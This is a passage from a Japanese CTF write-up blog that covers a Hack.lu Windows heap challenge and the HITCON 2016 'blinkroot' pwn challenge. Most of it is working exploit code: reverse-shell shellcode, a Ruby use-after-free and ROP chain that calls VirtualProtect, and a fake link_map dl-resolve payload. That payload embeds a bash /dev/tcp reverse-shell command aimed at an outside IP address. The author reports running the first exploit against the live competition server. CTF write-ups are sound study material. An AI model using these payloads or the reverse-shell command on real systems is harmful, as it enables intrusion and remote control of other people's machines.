"\x00#{[lport].pack("S>")}\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" +
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5" +
"\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" +
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" +
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" +
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" +
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" +
"\xff\xd5"

def countdown(t)
  t.times do |i|
    print i
    print "."
    sleep(1)
  end
  puts ""
end

def menu(t)
  t.recv_until("[8] Quit\n\n")
end

def insert(t, type, time, slot, text)
  puts "Insert #{slot}"
  t.sendline("0")
  t.recv_until("[2] Semmel\n\n")
  t.sendline(type.to_s)
  t.recv_until(": \n\n")
  t.sendline(time.to_s)
  t.recv_until(": \n\n")
  t.sendline(slot.to_s)
  t.recv_until(": \n\n")
  t.sendline(text)
  menu(t)
end

def remove(t, slot)
  puts "Remove #{slot}"
  t.sendline("1")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  menu(t)
end

def info(t, type, slot)
  puts "Info #{slot}"
  t.sendline("2")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  t.recv_until("[2] Semmel\n\n")
  t.sendline(type.to_s)
  menu(t)
end

def edit(t, slot, text)
  puts "Edit #{slot}"
  t.sendline("3")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  t.recv_until(":\n\n")
  t.sendline(text.to_s)
  menu(t)
end

def robot(t, cond)
  if cond == ON
    puts "Robot on"
  elsif cond == OFF
    puts "Robot off"
  else
    raise "conditon error in robot"
  end
  t.sendline("4")
  t.recv_until("\n\n")
  t.sendline(cond.to_s)
  menu(t)
end

def oven(t, cond)
  if cond == ON
    puts "Oven on"
    t.sendline("5")
  elsif cond == OFF
    puts "Oven off"
    t.sendline("6")
  else
    raise "conditon error in oven"
  end
  
  menu(t)
end


PwnTube.open(host, port) do |t|

  heap_offset = 0x37c8
  
  insert(t, S, 30, 0, "GOMI")
  insert(t, S, 30, 1, "GOMI")
  insert(t, L, 30, 2, "LEAK")
  
  r = info(t, L, 1).split("\n\x00")[1]
  
  heap = u32(r[158...162])[0]
  heap_base = heap - heap_offset

  # for remote
  unless heap_base & 0xfff == 0
    heap_base += 0x1000 - (heap_base & 0xfff)
  end
  vtable = u32(r[174...178])[0]
  bin_base = vtable - 0x10f70
  
  puts "heap 0x%x" % heap
  puts "heap_base 0x%x" % heap_base
  puts "vtable 0x%x" %  vtable
  puts "bin_base 0x%x" % bin_base

  insert(t, B, 30, 3, "FOOD")
  insert(t, B, 3, 4, "VICT")
  oven(t, ON)
  countdown(15)
  oven(t, OFF)
  robot(t, ON)
  countdown(5)
  robot(t, OFF)
  remove(t, 3)

  food = "AAAA" * 2
  food << p32(bin_base + 0x1b24) # stack pivot
  food << p32(bin_base + 0x104b) # ret2ret
  food << "AAAA" * 3
  food << p32(bin_base + 0xc877) # pop eax
  food << p32(bin_base + 0xe008) # VirtualProtect@.idata
  food << p32(bin_base + 0x76b9) # jmp [eax]
  food << p32(heap + 0x67c)      # ret addr -> Shellcode
  food << p32(heap_base)         # arg1 -> lpAddress
  food << p32(0x5000)            # arg2 -> dwSize
  food << p32(0x40)              # arg3 -> flNewProtect(RWX)
  food << p32(heap_base)         # arg4 -> lpflOldprotect
  food << sc
  food = food.ljust(0x230)       # padding
  victim = p32(heap + 0x648)     # vtable pointer
  victim = victim.ljust(0x400)   # padding

  edit(t, 2, food + victim)

  oven(t, ON)
  
  t.interactive
  
end

外部のサーバでは,$ sudo nc -l 55555で待ち受けて,上記のexploitを実行する.
Hack.luはサーバを今もなお稼働中なので本番サーバで試した結果が以下である.ローカルでもシェルを取ることはできた.

f:id:encry1024:20170227205518p:plain

感想

Windows問はコスパが悪いが,ここぞという時に解けるとデカイという意見に同じで,やっておいて損は無かったと思うし,何より解析したり,Exploitを書くために検証したりするのが楽しかった.問題自体の脆弱性発見パートで詰んだ勢で,UAFが苦手だとわかったので,Linuxの方でもUAFはちゃんと気付けるよう精進したい.

HITCON CTF2016 Quals blinkroot (pwn 200)

katagaitai CTF勉強会#8関東|medの午前問題として扱われた問題.いわゆるdl-resolve解法について学べる問題.午前午後共に詳しくはスライドを見れば乗っているので,割愛する.とりわけスライド通りのexploitで面白くないと思う.

下調べ

  • Canary, NXが有効
  • libcが配布

解析

バイナリ自体は小さくて,盛大にオーバーフローしてripは簡単に奪うことができる.さらに任意のところへの値書き込みも行うことができる.また,ファイルディスクリプターの0,1,2はcloseされてしまう.

Exploit

linkmapを偽装してあげる.そのためにdynstrやdynsymセクションなど必要なものをいい具合に指すように配置する.読み込み後に呼ばれるのはputs関数なので,puts関数を読んだ際に,system関数が呼ばれるようにしてあげると入力値もうまく書き換えた関数に渡すことができて良い.
もう一点考慮すべきは,標準入出力等がcloseされてしまうので,bashの機能を使って/dev/tcp/host/portの形でリバースシェルを貼る.正直ここらへんのbashの機能とかを精確に把握しているわけではないので一回ぐらいはちゃんと確認したほうがいいなという気持ちになった. 以下にexploitを示す.

require 'pwnlib'

offset_system = 0x45390
offset_read   = 0xf6670

if ARGV[0] == "r"
  offset_system = 0x46590
  offset_read   = 0xeb6a0
end

=begin
.got.plt
0x600b40 -> dynamic section address 
0x600b48 -> link_map address -> 0x600bd0
0x600b50 -> _dl_runtime_resolve GOT
_dl_runtime_resolve(link_map, reloc_arg)
=end

# for local
#CMD = ";bash -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1'"
# for remote
CMD = ";bash -c 'bash -i >& /dev/tcp/150.95.129.191/12345 0>&1'"

gotplt_addr   = 0x600b40
buf_addr      = 0x600bc0
data_addr     = 0x600B90
fake_linkmap  = 0x600bd0
symtab_addr   = fake_linkmap + 0x100
reloc_addr    = fake_linkmap + 0x140
strtab_addr   = fake_linkmap + 0x180
reloc_arg     = 1 
offset_system = offset_system - offset_read

linkmap = ""
linkmap << p64(offset_system) # l_addr 
linkmap << CMD.ljust(0x60, "\x00")
linkmap << p64(strtab_addr)   # strtab -> 0x6009e8 + 8 -> .dynstr
linkmap << p64(symtab_addr)   # symtab -> 0x6009f8 + 8 -> .dynsym
linkmap << p64(0) * 16
linkmap << p64(reloc_addr)    # reloc  -> 0x600a68 + 8 -> .rela.plt

reloc = ""
reloc << p64(0)
reloc << p64(reloc_addr + 0x18 - reloc_arg * 0x18)
reloc << p64(0)
reloc << p64(data_addr - offset_system)
reloc << p64(7)
reloc = reloc.ljust(0x40, "\x00")

symtab = ""
symtab << p64(0)
symtab << p64(0x600b70)
symtab << p64(0)
symtab = symtab.ljust(0x40, "\x00")

payload = p64(gotplt_addr - buf_addr) 
payload << p64(fake_linkmap)
payload << linkmap + symtab + reloc
payload = payload.ljust(1024, "\x00")
print payload

実行結果は取り忘れたが,katagaitaiCTF勉強会当日にシェルは取れた.

感想

dl-resolve自体は今までも複数回使ってきたがlinkmapの偽装は初めてだったので勉強になった.ただもっと,linkmapの構造体の定義とかそこら辺周りをしっかり見直さないと実践で使えるほどは身につかないと感じた.